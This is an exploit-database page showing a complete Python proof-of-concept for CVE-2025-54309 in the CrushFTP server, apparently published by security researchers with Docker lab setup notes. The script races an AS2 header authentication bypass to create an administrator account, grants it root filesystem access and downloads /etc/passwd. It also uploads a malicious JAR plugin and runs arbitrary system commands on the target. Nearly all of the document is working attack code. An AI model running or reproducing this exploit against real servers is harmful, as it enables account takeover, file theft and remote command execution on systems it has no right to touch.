Exploit database

GH-f3a4d1809df2345327d32f1b11d22dc0

foregenix/cve-2025-54309

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-54309

7 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files3
foregenix/cve-2025-54309Revision 6e981185df60

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

CVE-2025-54309.py

Python · 27,120 bytes
import os
import re
import sys
import time
import random
import string
import requests
import threading
import argparse
import textwrap
import urllib3
import time
import urllib.parse
from pathlib import Path
import re
import base64
from datetime import datetime
import urllib.parse
from urllib.parse import urlparse, quote_plus, urljoin
from urllib.parse import parse_qsl, urlencode
from bs4 import BeautifulSoup

# Static cookie values
CRUSHAUTH = "1753799952899_F0mJILl1DDF2cS5SGVcH9NTY8XMXSc"
CURRENTAUTH = "MXSc"

'''
docker run \
  --platform linux/amd64 \
  -p 443:443 \
  -p 8080:8080 \
  -p 9090:9090 \
  -v /tmp/crushftp_data:/var/opt/crushftp \
  --name crushftp \
  netlah/crushftp:10.8.0_4

 docker run \
  --platform linux/amd64 \
  --name=crushftp11 \
  -p 8080:8080 \
  -p 443:443 \
  -v /tmp/crushftp_data_11:/var/CrushFTP10 \
  crushftp/crushftp11:11.3.3_15-dev

#Compiling plugin
% javac -cp "lib/*" -d build CrushCommandPlugin/*.java   
% jar cf CrushCommandPlugin.jar -C build CrushCommandPlugin
'''

from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

# Argument parsing
parser = argparse.ArgumentParser(description="CVE-2025-54309")
parser.add_argument("-u", "--url", required=True, help="Base URL (e.g. https://localhost)")
parser.add_argument("-U", "--user", required=True, help="Username to create")
parser.add_argument("-P", "--password", required=True, help="Password for new user")
#parser.add_argument("-f", "--filename", required=False, help="File to download")
parser.add_argument("--jar", help="Path to JAR file to upload (used in upload mode)")
parser.add_argument("-v", "--verbose", action="store_true", help="Enable verbose output")
parser.add_argument("--proxy", help="Proxy server (e.g. http://127.0.0.1:8081)")
parser.add_argument("-c", "--command", help="Command to run on target server")
parser.add_argument("--mode", choices=["insert", "upload", "command"], required=True,
                    help="Mode of operation: insert = add user, upload = inherit permissions and upload JAR, command = run command")
args = parser.parse_args()

base_url = args.url.rstrip('/')
username = args.user
password = args.password
filename = "/etc/passwd"
command = "uname -a"
#if args.filename:
#    filename = args.filename
verbose = False
if args.verbose:
    verbose = True

parsed_url = urlparse(base_url)
host_header = parsed_url.netloc
url_post = f"{base_url}/?/WebInterface/function/"
url_post1 = f"{base_url}/WebInterface/function/"

# Shared session
session = requests.Session()
session.verify = False
#session.proxies = { "http": "http://127.0.0.1:8081", "https": "http://127.0.0.1:8081" }
if args.command:
    command = args.command
if args.proxy:
    session.proxies = {
        "http": args.proxy,
        "https": args.proxy
    }

stop_event = threading.Event()

cookie_header = f"CrushAuth={CRUSHAUTH}; currentAuth={CURRENTAUTH}"
now_utc_http = datetime.utcnow().strftime("%a, %d %b %Y %H:%M:%S GMT")
created_time_str = datetime.utcnow().strftime("%m%d%Y%H%M%S")
timestamp = datetime.now().strftime('%m/%d/%Y %I:%M:%S %p')

headers_post = {
    "Host": host_header,
    "User-Agent": "Mozilla/5.0",
    "Accept-Encoding": "gzip, deflate, br",
    "Accept": "*/*",
    "Connection": "keep-alive",
    "Date": now_utc_http,
    "As2-To": "\\crushadmin-_-crushadmin",
    #"As2-To": "\\default-_-default",
    "Cookie": cookie_header,
    "Content-Type": "application/octet-stream",
}

headers_post_form = {
    "Host": host_header,
    "User-Agent": "Mozilla/5.0",
    "Accept-Encoding": "gzip, deflate, br",
    "Accept": "*/*",
    "Connection": "keep-alive",
    "Date": now_utc_http,
    "Origin": base_url,
    "Referer": f"{base_url}/WebInterface/UserManager/index.html",
    "Content-Type": "application/x-www-form-urlencoded",
    "Cookie": cookie_header, 
}

data_post = b"testtesttesttesttest"

def is_crushftp_login_page(base_url, timeout=5):
    full_url = base_url.rstrip('/') + '/WebInterface/login.html'
    
    try:
        response = requests.get(full_url, timeout=timeout, verify=False)
        if response.status_code != 200:
            return False

        soup = BeautifulSoup(response.text, 'html.parser')
        title = soup.title.string.strip() if soup.title else ''
        return title == 'CrushFTP WebInterface'
    except Exception as e:
        # Optionally log error
        return False

def get_user_info(username, cookies):
    #updated_cookie = re.sub(r'(currentAuth=)[^;]*', r'\1' + new_value, cookie)
    headers_post_form["Cookie"] = cookies
    c2f = cookies.get('currentAuth')

    headers_post_form["Cookie"] = "; ".join(f"{k}={v}" for k, v in cookies.items())

    #print(headers_post_form)

    data = {
        "command": "getUser",
        "serverGroup": "MainUsers",
        "username": username,
        "c2f": c2f
    }
    url = f"{base_url}/WebInterface/function/"
    try:
        response = session.post(
            url,
            headers=headers_post_form,
            data=data,
            timeout=5
        )

        if response.status_code == 200:
            #print(f"[+] getUser response for '{username}':")
            return response.text
        else:
            print(f"[-] getUser failed: HTTP {response.status_code}")
            return None
    except Exception as e:
        print(f"[!] Exception in get_user_info: {e}")
        return None

def restart_crushftp_server(cookies):
    c2f = cookies.get("currentAuth")
    if not c2f:
        print("[-] currentAuth not found in cookies.")
        return None

    url = f"{base_url}/WebInterface/function/"

    for index in range(1, 5):  # index 1 to 4 inclusive
        params = {
            "command": "adminAction",
            "action": "restartServer",
            "index": str(index),
            "c2f": c2f
        }

        try:
            response = session.get(url, headers=headers_post_form, params=params, timeout=5)
            if response.status_code == 200:
                print(f"[+] Restart command sent for index {index}.")
            else:
                print(f"[-] Failed to restart index {index}: HTTP {response.status_code}")
        except Exception as e:
            print(f"[!] Exception during restart of index {index}: {e}")


def grand_access_to_folder(i, result, username, password_hash, c2f):
    created_time = str(int(time.time() * 1000))

    user_xml = f'<?xml version="1.0" encoding="UTF-8"?><user type="properties"><user_name>{username}</user_name><password>{password_hash}</password><extra_vfs type="vector"></extra_vfs><version>1.0</version><root_dir>/</root_dir><userVersion>6</userVersion><max_logins>0</max_logins><created_by_username>anonymous</created_by_username><created_by_email></created_by_email><created_time>{created_time}</created_time><password_history></password_history><last_logins>07/30/2025 03:06:33 AM,07/30/2025 03:05:02 AM,07/30/2025 03:03:22 AM,07/30/2025 02:04:19 AM</last_logins></user>'
    vfs_items_xml = '<?xml version="1.0" encoding="UTF-8"?><vfs_items type="vector"><vfs_items_subitem type="properties"><name>root</name><path>/</path><vfs_item type="vector"><vfs_item_subitem type="properties"><type>DIR</type><url>FILE:///</url></vfs_item_subitem></vfs_item></vfs_items_subitem></vfs_items>'
    #permissions_xml = '<?xml version="1.0" encoding="UTF-8"?><VFS type="properties"><item name="/ETC/">(read)(view)(resume)</item><item name="/">(read)(view)(resume)</item></VFS>'
    permissions_xml = '<?xml version="1.0" encoding="UTF-8"?><VFS type="properties"><item name="/ETC/">(read)(write)(view)(resume)</item><item name="/">(read)(write)(view)(resume)</item></VFS>'

    headers_post_form["Cookie"] = cookies
    c2f = cookies.get('currentAuth')
    headers_post_form["Cookie"] = "; ".join(f"{k}={v}" for k, v in cookies.items())

    # Compose final URL parameters
    params = {
        "command": "setUserItem",
        "data_action": "replace",
        "serverGroup": "MainUsers",
        "username": username,
        "user": user_xml,
        "xmlItem": "user",
        "vfs_items": vfs_items_xml,
        "permissions": permissions_xml,
        "c2f": c2f
    }


    # Make POST request
    try:
        r = session.post(
            url_post1,
            headers=headers_post_form,
            data=params,
            timeout=3
        )
        if '<response_status>OK</response_status>' in r.text:
            result['success'] = True
    except Exception as e:
        print(f"[!] Exception in grand_access_to_folder: {e}")


def try_login(username, password, host="http://192.168.8.113:8080", retries=3):
    url = f"{host}/WebInterface/function/"
    headers = {
        "User-Agent": "Mozilla/5.0",
        "Accept": "text/javascript, text/html, application/xml, text/xml, */*",
        "Referer": f"{host}/WebInterface/login.html",
        "X-Requested-With": "XMLHttpRequest",
        "Content-Type": "application/x-www-form-urlencoded",
        "Origin": f"{host}/?/WebInterface/function/",
        "Connection": "keep-alive"
    }

    data = {
        "command": "login",
        "username": username,
        "password": password,
        "encoded": "true",
        "language": "en",
        "random": ''.join(random.choices(string.digits, k=9))  # dynamic per attempt
    }

    for attempt in range(1, retries + 1):
        try:
            response = session.post(url, headers=headers, data=data, timeout=5)
            if response.status_code == 200 and "success" in response.text.lower():
                print(f"[+] Login successful: {username}:{password}")
                c2f = response.cookies.get("currentAuth")
                return response.cookies
            else:
                print(f"[-] Login failed: {username}:{password} (Attempt {attempt}/{retries})")
        except Exception as e:
            print(f"[!] Login error on attempt {attempt}/{retries}: {e}")

    return None  # Failed after all retries

def send_race_get1():
    global CRUSHAUTH
    global CURRENTAUTH

    data = '<VFS_subitem type="properties"><type>DIR</type><url>FILE://ETC/</url></VFS_subitem>'
    encoded = urllib.parse.quote(data)
    url_post1 = f"{base_url}/WebInterface/function/?command=setUserItem&data_action=new&serverGroup=MainUsers&username={username}&user=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%3Cuser+type%3D%22properties%22%3E%3Ccreated_by_username%3Ecrushadmin%3C%2Fcreated_by_username%3E%3Ccreated_by_email%3E%3C%2Fcreated_by_email%3E%3Ccreated_time%3E07292025232705%3C%2Fcreated_time%3E%3Csite%3E%28CONNECT%29%28WEB_ADMIN%29%3C%2Fsite%3E%3Cusername%3E{username}%3C%2Fusername%3E%3Cpassword%3Epassword%3C%2Fpassword%3E%3Cmax_logins%3E0%3C%2Fmax_logins%3E%3Croot_dir%3E%2F%3C%2Froot_dir%3E%3Cuser_admin%3Etrue%3C%2Fuser_admin%3E%3C%2Fuser%3E&xmlItem=user&vfs_items=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%3Cvfs+type%3D%22vector%22%3E%3C%2Fvfs%3E&permissions=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%3Cpermissions+type%3D%22properties%22%3E%3Citem+name%3D%22%2F%22%3E(read)(write)(view)(resume)%3C%2Fitem%3E%3C%2Fpermissions%3E&c2f=" + CURRENTAUTH

    try:
        r = session.get(url_post1, headers=headers_post_form, timeout=3)
        if '<response_status>OK</response_status>' in r.text:
            #print(r.text)
            result['success'] = True
        if 'Your IP is banned' in r.text:
            print("Your IP is banned, no further requests will be processed from this IP")
            result['success'] = False
            os._exit(1)
    except Exception:
        pass


def inherit_permissions_crushadmin(username):
    global CRUSHAUTH
    global CURRENTAUTH

    url_post1 = f"{base_url}/WebInterface/function/"

    # Inline XML string (no newlines)
    inheritance_xml = (
        f'<?xml version="1.0" encoding="UTF-8"?><inheritance type="properties">'
        f'<item name="{username}" type="vector"><item_subitem>crushadmin</item_subitem>'
        f'</item></inheritance>'
    )

    post_data = {
        "command": "setUserItem",
        "data_action": "update",
        "serverGroup": "MainUsers",
        "username": username,
        "xmlItem": "inheritance",
        "inheritance": inheritance_xml,
        "c2f": CURRENTAUTH
    }

    try:
        r = session.post(url_post1, headers=headers_post_form, data=post_data, timeout=3)
        if '<response_status>OK</response_status>' in r.text:
            result['success'] = True
        if 'Your IP is banned' in r.text:
            print("Your IP is banned, no further requests will be processed from this IP")
            result['success'] = False
            os._exit(1)
    except Exception:
        pass

def send_race_post1():
    global CRUSHAUTH
    global CURRENTAUTH

    data = '<VFS_subitem type="properties"><type>DIR</type><url>FILE://ETC/</url></VFS_subitem>'
    encoded = urllib.parse.quote(data)

    url_post1 = f"{base_url}/WebInterface/function/"

    # Prepare POST form data (move from URL params to data dictionary)
    post_data = {
        "command": "setUserItem",
        "data_action": "new",
        "serverGroup": "MainUsers",
        "username": username,
        "user": '<?xml version="1.0" encoding="UTF-8"?><user type="properties"><created_by_username>crushadmin</created_by_username><created_by_email></created_by_email><created_time>07292025232705</created_time><site>(CONNECT)(WEB_ADMIN)</site><username>adminuser</username><password>password</password><max_logins>0</max_logins><root_dir>/</root_dir><user_admin>true</user_admin></user>',
        "xmlItem": "user",
        "vfs_items": '<?xml version="1.0" encoding="UTF-8"?><vfs type="vector"></vfs>',
        "permissions": '<?xml version="1.0" encoding="UTF-8"?><permissions type="properties"><item name="/">(read)(view)(resume)</item></permissions>',
        "c2f": CURRENTAUTH
    }

    try:
        r = session.post(url_post1, data=post_data, headers=headers_post_form, timeout=3)
        if '<response_status>OK</response_status>' in r.text:
            # print(r.text)
            result['success'] = True
        if 'Your IP is banned' in r.text:
            print("Your IP is banned, no further requests will be processed from this IP")
            result['success'] = False
            os._exit(1)
    except Exception:
        pass


def fire_post_and_race():
    # Fire POST in a thread so it doesn't block
    def send_post():
        try:
            response = session.post(url_post, headers=headers_post, data=data_post, timeout=5)
            if verbose==True:
                print(url_post, response.status_code)
        except Exception as e:
            if verbose==True:
                print(f"POST error: {e}")

    threading.Thread(target=send_post, daemon=True).start()

    # Call race GET immediately after sending POST
    send_race_get1()
    #send_race_post1()
    return True

def fire_post_and_race1(username):
    # Fire POST in a thread so it doesn't block
    def send_post():
        try:
            response = session.post(url_post, headers=headers_post, data=data_post, timeout=5)
            if verbose==True:
                print(url_post, response.status_code)
        except Exception as e:
            if verbose==True:
                print(f"POST error: {e}")

    threading.Thread(target=send_post, daemon=True).start()

    # Call race GET immediately after sending POST
    #send_initial_post()
    #send_race_post1()
    inherit_permissions_crushadmin(username)
    return True

def send_initial_post():
    try:
        response = session.post(url_post, headers=headers_post, data=data_post, timeout=5)
        print(url_post, response.status_code)
        return True
    except requests.exceptions.Timeout:
        if verbose==True:
            print("[!] Initial POST timed out.")
        return False
    except Exception as e:
        if verbose==True:
            print(f"[!] Initial POST failed: {e}")
        return False

# Thread for race-condition GET request
def send_race_get(i, result):
    global CRUSHAUTH
    global CURRENTAUTH

    data = '<VFS_subitem type="properties"><type>DIR</type><url>FILE://ETC/</url></VFS_subitem>'
    encoded = urllib.parse.quote(data)

    url_post1 = f"{base_url}/WebInterface/function/?command=setUserItem&data_action=new&serverGroup=MainUsers&username={username}&user=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%3Cuser+type%3D%22properties%22%3E%3Ccreated_by_username%3Ecrushadmin%3C%2Fcreated_by_username%3E%3Ccreated_by_email%3E%3C%2Fcreated_by_email%3E%3Ccreated_time%3E07292025232705%3C%2Fcreated_time%3E%3Csite%3E%28CONNECT%29%28WEB_ADMIN%29%3C%2Fsite%3E%3Cusername%3E{username}%3C%2Fusername%3E%3Cpassword%3Epassword%3C%2Fpassword%3E%3Cmax_logins%3E0%3C%2Fmax_logins%3E%3Croot_dir%3E%2F%3C%2Froot_dir%3E%3Cuser_admin%3Etrue%3C%2Fuser_admin%3E%3C%2Fuser%3E&xmlItem=user&vfs_items=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%3Cvfs+type%3D%22vector%22%3E%3C%2Fvfs%3E&permissions=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%3Cpermissions+type%3D%22properties%22%3E%3Citem+name%3D%22%2F%22%3E(read)(view)(resume)%3C%2Fitem%3E%3C%2Fpermissions%3E&c2f=" + CURRENTAUTH

    try:
        r = session.get(url_post1, headers=headers_post_form, timeout=3)
        if '<response_status>OK</response_status>' in r.text:
            print(r.text)
            result['success'] = True
        if 'Your IP is banned' in r.text:
            print("Your IP is banned, no further requests will be processed from this IP")
            result['success'] = False
            os._exit(1)
    except Exception:
        pass

def send_crushftp_command(command, cookies):
    # Extract CrushAuth from cookies
    headers_post_form["Cookie"] = cookies
    c2f = cookies.get('currentAuth')

    # Prepare POST payload
    data = {
        "command": "pluginMethodCall",
        "method": "run",
        "pluginName": "CrushCommandPlugin",
        "pluginSubItem": "",
        "cmd": "syscmd",
        "args": command,
        "c2f": c2f
    }

    url = f"{base_url}/WebInterface/function/"

    # Create a session just to use keep-alive and proxies if needed

    # Send request with cookies
    response = session.post(url, data=data, cookies=cookies, verify=False)

    # Raise if error occurs
    response.raise_for_status()

    return response.text

def enable_plugin(username, cookies):
    url = f"{base_url}/WebInterface/function/"
    
    # Extract c2f from cookies dict
    c2f = cookies.get("currentAuth")
    
    # Inline and URL-encoded XML plugin data (no newlines)
    plugin_data = (
        '<plugins_subitem type="properties">'
        '<version>5.0.4</version>'
        '<pluginName>CrushCommandPlugin</pluginName>'
        '<server_item>All</server_item>'
        f'<username>{username}</username>'
        '<password>9vKKaAoAjpyMv5nTkghxIQ==</password>'
        '<user_url>http://127.0.0.1/auth/user_properties.xml</user_url>'
        '<user_post_data></user_post_data>'
        '<permissions_url>http://127.0.0.1/auth/vfs_properties.xml</permissions_url>'
        '<permissions_post_data></permissions_post_data>'
        '<vfs_url>http://127.0.0.1/auth/vfs_vectors.xml</vfs_url>'
        '<vfs_post_data></vfs_post_data>'
        '<method>GET</method>'
        '<usernameTemplate>default</usernameTemplate>'
        '<enabled>true</enabled>'
        '<debug>false</debug>'
        '<overwrite_vfs>true</overwrite_vfs>'
        '<subItem></subItem>'
        '</plugins_subitem>'
    )

    from urllib.parse import quote_plus
    encoded_plugin_data = quote_plus(plugin_data)

    # Final payload
    post_data = {
        "command": "setServerItem",
        "key": "server_settings/plugins/17/0",
        "data_type": "vector",
        "data_action": "change",
        "data": encoded_plugin_data,
        "c2f": c2f
    }

    # Send the POST request
    response = session.post(url, headers=headers_post_form, data=post_data, cookies=cookies, verify=False)
    response.raise_for_status()
    return response.text

def upload_file_to_path(local_file_path, upload_path, username, password):
    if not os.path.isfile(local_file_path):
        print(f"[!] File not found: {local_file_path}")
        return

    with open(local_file_path, "rb") as f:
        file_data = f.read()

    # Extract base_url from url_post
    parsed = urlparse(url_post)
    base_url = f"{parsed.scheme}://{parsed.netloc}"
    remote_url = urljoin(base_url + "/", upload_path.lstrip("/"))    

    # Create Basic Auth header manually
    credentials = f"{username}:{password}".encode()
    auth_header = base64.b64encode(credentials).decode()

    headers = {
        "Authorization": f"Basic {auth_header}",
        "Content-Type": "application/octet-stream"
    }

    try:
        # Use your existing session with proxies set
        response = session.put(
            remote_url,
            headers=headers,
            data=file_data,
            verify=False,
            timeout=10
        )

        if response.status_code in (200, 201, 204):
            print(f"[+] Upload succeeded: {remote_url}")
        else:
            print(f"[-] Upload failed: HTTP {response.status_code}")
            print(response.text)
    except Exception as e:
        print(f"[!] Upload error: {e}")

def download_file_from_path(path, cookies):
    headers_post_form["Cookie"] = cookies
    c2f = cookies.get('currentAuth')
    headers_post_form["Cookie"] = "; ".join(f"{k}={v}" for k, v in cookies.items())

    boundary = "---------------------------2454614043208551011286284879"

    multipart_data = (
        f"--{boundary}\r\n"
        f'Content-Disposition: form-data; name="command"\r\n\r\ndownload\r\n'
        f"--{boundary}\r\n"
        f'Content-Disposition: form-data; name="path"\r\n\r\n{path}\r\n'
        f"--{boundary}\r\n"
        f'Content-Disposition: form-data; name="paths"\r\n\r\n\r\n'
        f"--{boundary}\r\n"
        f'Content-Disposition: form-data; name="random"\r\n\r\n{random.random()}\r\n'
        f"--{boundary}\r\n"
        f'Content-Disposition: form-data; name="c2f"\r\n\r\n{c2f}\r\n'
        f"--{boundary}--\r\n"
    ).encode("utf-8")

    headers = headers_post_form.copy()
    headers["Content-Type"] = f"multipart/form-data; boundary={boundary}"

    try:
        r = session.post(
            url_post,
            headers=headers,
            data=multipart_data,
            timeout=5
        )

        if r.status_code == 200:
            print(f"[+] File download attempt from path: {path}")
            print("[+] Response:")
            print(r.text if r.text.strip() else "[Empty body]")
        else:
            print(f"[-] Failed to download file: HTTP {r.status_code}")
    except Exception as e:
        print(f"[!] Error during download: {e}")

if not is_crushftp_login_page(base_url):
    print(f"{base_url} does not appear to be a CrushFTP login page.")
    sys.exit(1)

if args.mode=="insert":
    # === Main loop ===
    #print("[*] Attempting attack sequence...")
    print("[*] Attempting AS2 header bypass...")
    while True:
        result = {'success': False}
        num_race_threads = 4   
        total_threads = num_race_threads + 1  # +1 for send_initial_post
        start_barrier = threading.Barrier(total_threads + 1)  # +1 for main thread

        threads = []

        # Start all threads simultaneously
        threads = []

        # Launch POST thread
        t_post = threading.Thread(target=fire_post_and_race)
        #t_post = threading.Thread(target=fire_post_and_race1)
        t_post.start()
        threads.append(t_post)

        # Wait for all threads to finish
        for t in threads:
            t.join()

        if result['success']:
            print(f"[+] Attack successful — account '{username}' created with password '{password}'")
            time.sleep(5)
            cookies = try_login(username, password, url_post)
            if cookies:
                get_user_info(username, cookies)                        
                print("[*] Granting access to folder...")
                grant_result = {'success': False}
                grand_access_to_folder(0, grant_result, username, password, cookies)            
                if grant_result['success']:
                    print("[+] Folder access granted successfully.")                
                    print(f"[+] Attempting to download {filename}.")
                    download_file_from_path(filename, cookies)
                    '''
                    local_file_path = "CrushCommandPlugin.jar"
                    remote_target_path = "/app/plugins/" + local_file_path
                    print(f"[+] Uploading {local_file_path} to {remote_target_path}.")
                    upload_file_to_path(local_file_path, remote_target_path, username, password)
                    '''
                    break
                else:
                    print("[-] Failed to grant folder access.")

        time.sleep(1)

if args.mode=="upload":
    if not args.jar:
        print("[-] You must provide --jar <path-to-jar> in upload mode.")
        sys.exit(1)
    if not os.path.isfile(args.jar):
        print(f"[-] JAR file not found: {args.jar}")
        sys.exit(1)
    print("[*] Attempting AS2 header bypass...")
    while True:
        result = {'success': False}
        num_race_threads = 4   
        total_threads = num_race_threads + 1  # +1 for send_initial_post
        start_barrier = threading.Barrier(total_threads + 1)  # +1 for main thread

        threads = []

        # Start all threads simultaneously
        threads = []

        # Launch POST thread
        #t_post = threading.Thread(target=fire_post_and_race)
        t_post = threading.Thread(target=fire_post_and_race1, args=(username,))
        t_post.start()
        threads.append(t_post)

        # Wait for all threads to finish
        for t in threads:
            t.join()

        if result['success']:
            print(f"[+] Attack successful — account '{username}' inheritance from 'crushadmin'")

            # Ensure file exists
            local_file_path = args.jar
            remote_target_path = "/app/plugins/" + os.path.basename(local_file_path)
            #local_file_path = "CrushCommandPlugin.jar"
            #remote_target_path = "/app/plugins/" + local_file_path
            print(f"[+] Uploading {local_file_path} to {remote_target_path}.")
            upload_file_to_path(local_file_path, remote_target_path, username, password)
            break


        time.sleep(5)

if args.mode=="command":
    cookies = try_login(username, password, url_post)
    if cookies:
        get_user_info(username, cookies)                        

        #print(f"[+] Enabling plugin on CrushFTP server")
        #enable_plugin(username, cookies)
        '''
        print(f"[+] Restart CrushFTP server's HTTPs service")
        restart_crushftp_server(cookies)

        '''
        print(f"[+] Running command on CrushFTP server: {command}")
        cmd_output = send_crushftp_command(command, cookies)
        print(cmd_output)